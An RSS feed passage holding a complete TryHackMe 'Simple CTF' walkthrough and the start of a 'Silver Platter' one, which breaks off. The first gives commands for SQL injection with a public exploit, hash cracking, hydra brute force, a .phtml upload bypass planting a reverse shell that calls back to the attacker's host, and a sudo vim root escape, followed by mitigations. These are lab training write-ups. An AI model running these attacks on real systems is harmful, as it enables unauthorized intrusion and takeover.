<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Farhan Hussain</title>
    <description>The latest articles on DEV Community by Farhan Hussain (@cyberfarhan).</description>
    <link>https://dev.to/cyberfarhan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4209510%2Fd483f9af-b40c-40cf-bdfc-299932f31bcf.png</url>
      <title>DEV Community: Farhan Hussain</title>
      <link>https://dev.to/cyberfarhan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cyberfarhan"/>
    <language>en</language>
    <item>
      <title>sudo vim Was All It Took to Go From User to Root — Simple CTF (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:57:23 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/sudo-vim-was-all-it-took-to-go-from-user-to-root-simple-ctf-tryhackme-1a4</link>
      <guid>https://dev.to/cyberfarhan/sudo-vim-was-all-it-took-to-go-from-user-to-root-simple-ctf-tryhackme-1a4</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; CMS SQLi / Upload Filter Bypass / GTFOBins&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Simple CTF&lt;/strong&gt; tells you exactly how complicated things are going to get right there in the name. Three services, one username left in a plaintext note on an anonymous FTP server, a CMS running a publicly known SQL injection vulnerability, and a &lt;code&gt;sudo&lt;/code&gt; rule so generous it might as well be a signed permission slip to root. The only thing standing between &lt;code&gt;www-data&lt;/code&gt; and a proper shell was a file upload filter that had apparently never heard of &lt;code&gt;.phtml&lt;/code&gt;. Simple indeed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Three ports this time — more interesting than the usual two.&lt;/p&gt;

&lt;p&gt;Full-range sweep, Nmap handling service and version detection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.168.253 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;vsftpd 3.0.3 — anonymous login allowed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.18 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2222/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 7.2p2 Ubuntu&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two things stand out immediately. First, Nmap flags anonymous FTP login as allowed — that's a free credential bypass that demands immediate attention. Second, SSH is running on port 2222 rather than the standard 22, which is a common "security by obscurity" measure that obscures nothing from a full port scan.&lt;/p&gt;

&lt;p&gt;Nmap also picks up something valuable from &lt;code&gt;robots.txt&lt;/code&gt; on port 80:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http-robots.txt: 2 disallowed entries
/  /openemr-5_0_1_3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;robots.txt&lt;/code&gt; is trying to hide a specific path — a medical records software installation. This turned out to be a distraction; the actual target CMS was at &lt;code&gt;/simple/&lt;/code&gt; discovered during directory enumeration.&lt;/p&gt;

&lt;p&gt;The anonymous FTP flag from Nmap is too good to ignore. FTP passive mode timed out immediately, requiring a manual switch before directory listing would respond.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp 10.49.168.253
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name: anonymous
230 Login successful.
ftp&amp;gt; passive
Passive mode: off; fallback to active mode: off.
ftp&amp;gt; ls
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
ftp&amp;gt; cd pub
ftp&amp;gt; ls
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt    # ^^^ jackpot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; get ForMitch.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# ForMitch.txt contents
Dammit man... you're the worst dev I've seen. You set the same pass for
the system user, and the password is so weak... I cracked it in seconds.
Gosh... what a mess!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Username: &lt;code&gt;mitch&lt;/code&gt;. Password: unknown but weak enough to crack in seconds — rockyou.txt territory. Also critically: the note says the system user password is the same as whatever other account this refers to, meaning one cracked password likely opens multiple doors.&lt;/p&gt;

&lt;p&gt;Feroxbuster with PHP, TXT, and HTML extensions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.168.253/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant hits only)
200  http://10.49.168.253/robots.txt
301  http://10.49.168.253/simple              # ^^^ CMS installation
200  http://10.49.168.253/simple/index.php
302  http://10.49.168.253/simple/admin/index.php  =&amp;gt;  login.php
200  http://10.49.168.253/simple/admin/login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/simple/&lt;/code&gt; directory hosts a full CMS Made Simple installation. The footer of the site reveals the version: CMS Made Simple 2.2.8.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;CMS Made Simple versions prior to 2.2.10 contain an unauthenticated time-based blind SQL injection in the News module via the &lt;code&gt;m1_idlist&lt;/code&gt; parameter. An attacker can exploit this to enumerate the database without any credentials, extracting usernames, email addresses, password hashes, and salts directly from the CMS database.&lt;/p&gt;

&lt;p&gt;The exploit is available on Exploit-DB as EDB-46635. It's a Python 2 script, which required a small amount of dependency wrestling before it would run cleanly — &lt;code&gt;termcolor&lt;/code&gt; needed to be grabbed manually since the pip2 ecosystem has largely collapsed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://raw.githubusercontent.com/termcolor/termcolor/1.1.0/termcolor.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; termcolor.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python2 46635.py &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.168.253/simple
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hash format is &lt;code&gt;md5($salt.$pass)&lt;/code&gt; — a salted MD5, Hashcat mode 20.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; target_hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 20 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 target_hash.txt /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret

Status: Cracked
Hash.Mode: 20 (md5($salt.$pass))
Time.Started: Sat Jun  6 18:31:51 2026 (0 secs)   # ^^^ instant
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password: &lt;code&gt;secret&lt;/code&gt;. The note from the FTP server was not exaggerating.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Where Found&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mitch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;secret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SQLi extraction → Hashcat crack&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;With credentials in hand, logging into the CMS admin panel at &lt;code&gt;/simple/admin/login.php&lt;/code&gt; confirmed &lt;code&gt;mitch:secret&lt;/code&gt; works. The CMS is running as a relatively low-privilege web user, so the admin panel itself isn't the end goal — it's a means to upload a reverse shell.&lt;/p&gt;

&lt;p&gt;Hydra was also used to independently confirm the credentials via brute force:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; mitch &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt 10.49.168.253 &lt;span class="se"&gt;\&lt;/span&gt;
  http-post-form &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"/simple/admin/login.php:username=^USER^&amp;amp;password=^PASS^&amp;amp;loginsubmit=Submit:User name or password incorrect"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
[80][http-post-form] host: 10.49.168.253   login: mitch   password: secret
1 of 1 target successfully completed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The CMS admin panel includes a file manager with upload functionality. Uploading a standard &lt;code&gt;.php&lt;/code&gt; reverse shell (PentestMonkey's &lt;code&gt;php-reverse-shell.php&lt;/code&gt;) was blocked — the application maintains an allowlist of safe extensions and rejects anything not on it.&lt;/p&gt;

&lt;p&gt;Web applications often try to prevent malicious file uploads by checking the file extension. Allowlist approaches are more robust but this CMS's filter failed to account for alternative PHP execution extensions that Apache will still process as PHP code. &lt;code&gt;.phtml&lt;/code&gt; is one such extension.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;php-reverse-shell.php php-reverse-shell.phtml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;.php.jpg&lt;/code&gt; double-extension trick was attempted first and failed — the server correctly identified it as non-image. &lt;code&gt;.phtml&lt;/code&gt; uploaded cleanly and executed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nlvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigating to the uploaded file via the CMS uploads directory to trigger execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# reverse shell callback
connect to [192.168.133.233] from (UNKNOWN) [10.49.168.253] 50196
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're in as &lt;code&gt;www-data&lt;/code&gt;. The home directories for &lt;code&gt;mitch&lt;/code&gt; and &lt;code&gt;sunbath&lt;/code&gt; are both permission-denied from this account — but we already have the SSH password. The note said the system user password matches. Port 2222, credentials &lt;code&gt;mitch:secret&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh mitch@10.49.168.253 &lt;span class="nt"&gt;-p&lt;/span&gt; 2222
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)
$ whoami
mitch
$ cat user.txt
G00d j0b, keep up!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;The first thing to check after landing a user shell: what can this user run as root?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vim&lt;/code&gt; is a text editor — but it's also a fully-featured scripting environment that can execute arbitrary shell commands. GTFOBins documents dozens of editors, interpreters, and utilities that can be abused to escape to a shell when granted &lt;code&gt;sudo&lt;/code&gt; access. The &lt;code&gt;:!&lt;/code&gt; command in &lt;code&gt;vim&lt;/code&gt; runs a shell command directly. When &lt;code&gt;vim&lt;/code&gt; is running as root (via &lt;code&gt;sudo&lt;/code&gt;), that shell command runs as root too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;vim &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;':!/bin/sh'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# output — root shell&lt;/span&gt;
&lt;span class="c"&gt;# whoami&lt;/span&gt;
root
&lt;span class="c"&gt;# cat /root/root.txt&lt;/span&gt;
W3ll d0n3. You made it!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous FTP&lt;/strong&gt; exposed &lt;code&gt;ForMitch.txt&lt;/code&gt; → learned username &lt;code&gt;mitch&lt;/code&gt; and that his password is reused and weak&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2019-9053&lt;/strong&gt; (CMS Made Simple SQLi) → extracted salted MD5 hash from the database&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hashcat&lt;/strong&gt; cracked &lt;code&gt;md5($salt.$pass)&lt;/code&gt; → plaintext password &lt;code&gt;secret&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;.phtml&lt;/code&gt; upload bypass&lt;/strong&gt; → reverse shell as &lt;code&gt;www-data&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH with cracked credentials&lt;/strong&gt; → proper user shell as &lt;code&gt;mitch&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;sudo vim&lt;/code&gt; GTFOBins escape&lt;/strong&gt; → root shell in one command&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;openemr-5_0_1_3&lt;/code&gt; in robots.txt.&lt;/strong&gt; Nmap flagged a disallowed entry in &lt;code&gt;robots.txt&lt;/code&gt; pointing to an OpenEMR installation path. OpenEMR is medical records software with its own public CVEs. This appeared to be a decoy path — the directory did not return a valid response and no actual OpenEMR installation was present. Following it up cost a few minutes of investigation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;.php.jpg&lt;/code&gt; double extension.&lt;/strong&gt; The first upload bypass attempt used a double extension (&lt;code&gt;php-reverse-shell.php.jpg&lt;/code&gt;), a common trick against naive filters that only check the last extension. The server's upload handler checked the full filename and identified it as non-image. Dropping back to &lt;code&gt;.phtml&lt;/code&gt; as a single extension resolved it immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Python 2 / pip2 dependency hell.&lt;/strong&gt; The EDB-46635 exploit is Python 2 only and imports &lt;code&gt;termcolor&lt;/code&gt;. Attempting to install &lt;code&gt;termcolor&lt;/code&gt; via &lt;code&gt;pip2&lt;/code&gt; failed due to Python 2's end-of-life package ecosystem breaking &lt;code&gt;setuptools&lt;/code&gt;. The fix was fetching the &lt;code&gt;termcolor.py&lt;/code&gt; module source file directly from GitHub and dropping it in the same directory as the exploit — no package manager involved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;G00d j0b, keep up!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/mitch/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;W3ll d0n3. You made it!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous FTP with sensitive data&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Disable anonymous FTP; never store credential hints or usernames on publicly accessible services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CMS Made Simple 2.2.8 (CVE-2019-9053)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Update to CMS Made Simple 2.2.10+; keep CMS software patched&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak password (&lt;code&gt;secret&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Enforce a minimum password complexity policy; use a password manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password reuse across CMS and system account&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use unique passwords for every service and account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File upload filter — extension allowlist incomplete&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Explicitly allowlist only safe, non-executable extensions; deny everything else; additionally validate file content (magic bytes), not just the name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;sudo vim&lt;/code&gt; with &lt;code&gt;NOPASSWD&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never grant &lt;code&gt;sudo&lt;/code&gt; access to editors, interpreters, or scripting tools; if vim access is needed, restrict it to specific files with &lt;code&gt;sudoedit&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Granting &lt;code&gt;sudo&lt;/code&gt; access to any program that can run arbitrary commands — editors, interpreters, pagers, file transfer tools — is functionally equivalent to granting unrestricted root access. Always check GTFOBins before adding anything to a &lt;code&gt;sudoers&lt;/code&gt; file.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Simple CTF&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>The App Blocked Every rockyou.txt Password — So I Built My Own Wordlist From Its Homepage — Silver Platter (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:52:21 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/the-app-blocked-every-rockyoutxt-password-so-i-built-my-own-wordlist-from-its-homepage-silver-44ki</link>
      <guid>https://dev.to/cyberfarhan/the-app-blocked-every-rockyoutxt-password-so-i-built-my-own-wordlist-from-its-homepage-silver-44ki</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium · &lt;strong&gt;Category:&lt;/strong&gt; Targeted Wordlist / IDOR / Log File Credential Leak&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Silver Platter&lt;/strong&gt; opens by daring you to use rockyou.txt and then daring you to think of something better. The room explicitly tells you the password policy blocks any password in the rockyou wordlist — a hint to build a targeted wordlist from the site itself. The escalation path is equally deliberate: IDOR on internal message IDs, credentials in a log file, and a user who can &lt;code&gt;sudo&lt;/code&gt; everything. The box hands the flag to you on a silver platter — but only after you've earned it through careful enumeration.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Service and version fingerprinting via Nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.190.34 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.9p1 Ubuntu 3ubuntu0.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;nginx 1.18.0 (Ubuntu) — "Hack Smarter Security"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8080/tcp&lt;/td&gt;
&lt;td&gt;HTTP-proxy&lt;/td&gt;
&lt;td&gt;Unknown — returns 404 on root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three ports. Port 80 runs a corporate-looking static site. Port 8080 is unidentified but responds to HTTP — worth enumerating separately.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.190.34/ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Static site assets only — no actionable PHP or admin paths. The homepage's contact section is more useful than any directory scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;If you'd like to get in touch with us, please reach out to our project
manager on Silverpeas. His username is "scr1ptkiddy".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Username: &lt;code&gt;scr1ptkiddy&lt;/code&gt; on a platform called Silverpeas.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.190.34:8080/ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;302  http://10.49.190.34:8080/website    → /website/   (403 Forbidden)
302  http://10.49.190.34:8080/console    → /noredirect.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Neither accessible. Manual navigation to &lt;code&gt;/silverpeas/&lt;/code&gt; on port 8080 loads a Silverpeas login portal — found by trying the platform name directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;The room explicitly states passwords are checked against rockyou.txt — any password in that list is rejected by the application. This isn't a bug, it's a design choice, and it's a hint: use a wordlist that isn't rockyou.txt.&lt;/p&gt;

&lt;p&gt;CeWL is a custom wordlist generator that spiders a target website and extracts words from the content — product names, employee names, company jargon, marketing language. These words are often used as passwords precisely because they're meaningful to the organisation and don't appear in generic wordlists.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
